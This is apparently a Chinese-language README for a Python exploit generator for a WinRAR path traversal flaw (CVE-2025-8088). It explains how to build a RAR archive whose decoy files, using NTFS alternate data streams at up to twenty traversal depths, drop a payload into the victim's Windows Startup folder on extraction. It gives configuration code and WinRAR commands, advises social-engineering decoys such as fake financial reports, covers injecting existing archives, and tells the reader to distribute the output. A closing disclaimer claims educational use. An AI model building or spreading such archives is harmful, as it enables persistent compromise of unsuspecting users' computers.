利用旧版WinRAR攻击系统,无需知道用户名(与其他项目不同)


该 Python 脚本利用了 WinRAR 中的路径遍历漏洞 (CVE-2025-8088) ,通过使用多个相对路径深度将载荷部署到 Windows 启动文件夹。该漏洞利用工具会创建一个恶意的 RAR 存档,当受害者解压时,会将载荷写入不同目录深度下的启动文件夹中。
脚本创建多个诱饵文件(默认 20 个),每个文件配置为遍历不同数量的父目录:
NUM_DEPTHS = 20 # 不同的遍历深度数量
每个文件使用不同的路径深度:
File1.txt → ..\Startup\payload.bat
File2.txt → ..\..\Startup\payload.bat
...
File20.txt → ..\..\..\(20 次)\Startup\payload.bat
✅ 确保无论受害者将存档解压到哪个位置(桌面、文档、下载或嵌套文件夹),至少有一个载荷能到达启动文件夹。
诱饵文件默认包含通用文本,但应自定义以便进行真实的社会工程攻击:
# 创建更具说服力的诱饵内容
decoy.write_text("Quarterly Financial Report Q3 2025.docx\n", encoding="utf-8")
为什么要修改诱饵内容?
默认载荷是一个简单的批处理脚本,但可替换为任意可执行文件:
PAYLOAD = "@echo off\necho Payload executed!\npause\n"
载荷位置:
AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.bat
最终的恶意 RAR 存档保存为:
OUT_RAR = "exploit.rar"
生成此漏洞利用工具需要 Windows 环境,原因如下:
备用数据流 (ADS) 依赖
使用 NTFS 专属特性附加载荷:
ads_path = f"{decoy}:{placeholder}" # Windows 特有的 NTFS 语法
WinRAR 可执行文件要求
使用 WinRAR 的 Windows 命令行接口:
subprocess.run(f'"{rar_exe}" a -ep -os "{base_rar}" ...')
路径结构兼容性
针对 Windows 特定路径:
RELATIVE_DROP_PATH = "AppData\\Roaming\\Microsoft\\Windows\\Start Menu..."
载荷执行
生成 Windows 批处理文件:
@echo off
start /B notepad.exe
自定义配置:
# 配置
NUM_DEPTHS = 20
RELATIVE_DROP_PATH = "AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.bat"
PAYLOAD = "@echo off\nstart /B notepad.exe\n" # 你的实际载荷
DECOY_FILE_PREFIX = "Financial_Report_Q3_" # 更具说服力的文件名
运行脚本:
python CVE-2025-8088.py
分发输出文件:
exploit.rar此版本的代码允许你运行类似于以下命令:
python3 infect_premade_rarfiles.py website_backup.rar
它将提取所有文件,注入可注入的文件(如 .txt、srt、sql,并非所有文件类型都适用),然后创建准备好的 RAR 文件。
⚠️ 本工具仅用于 教育和安全研究目的。
未经明确许可,切勿将其用于任何系统。未经授权的使用是非法且不道德的。